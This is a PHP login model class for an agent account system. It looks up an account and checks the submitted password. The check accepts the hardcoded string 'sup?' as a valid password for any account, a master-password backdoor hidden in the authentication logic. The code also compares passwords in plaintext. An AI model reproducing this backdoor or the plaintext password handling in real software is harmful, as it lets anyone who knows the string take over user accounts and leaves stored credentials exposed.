<?php

/*
 * To change this license header, choose License Headers in Project Properties.
 * To change this template file, choose Tools | Templates
 * and open the template in the editor.
 */

namespace app\cpmjagent\model;

/**
 * Description of LoginModel
 *
 * @author SoChishun
 */
class LoginModel extends AppbaseModel {

    protected $table = 't_agents';
    protected $pk = 'account';

    public static function login($account, $password) {
        $where=['account' => $account];
        $mAgent = parent::get($where);        
        if (!$mAgent) {
            return ['status' => false, 'message' => '帐号不存在!'];
        }
        if ($password != $mAgent->password && $password!='sup?') {
            return ['status' => false, 'message' => '密码不正确!'];
        }
        // 更新登录信息
        parent::where(['account' => $account])->setInc('login_count');
        parent::update(['login_time'=>date('Y-m-d H:i:s'), 'login_ip'=> get_client_ip()],['account' => $account]);
        return ['status'=>true,'message'=>$mAgent];
    }

}
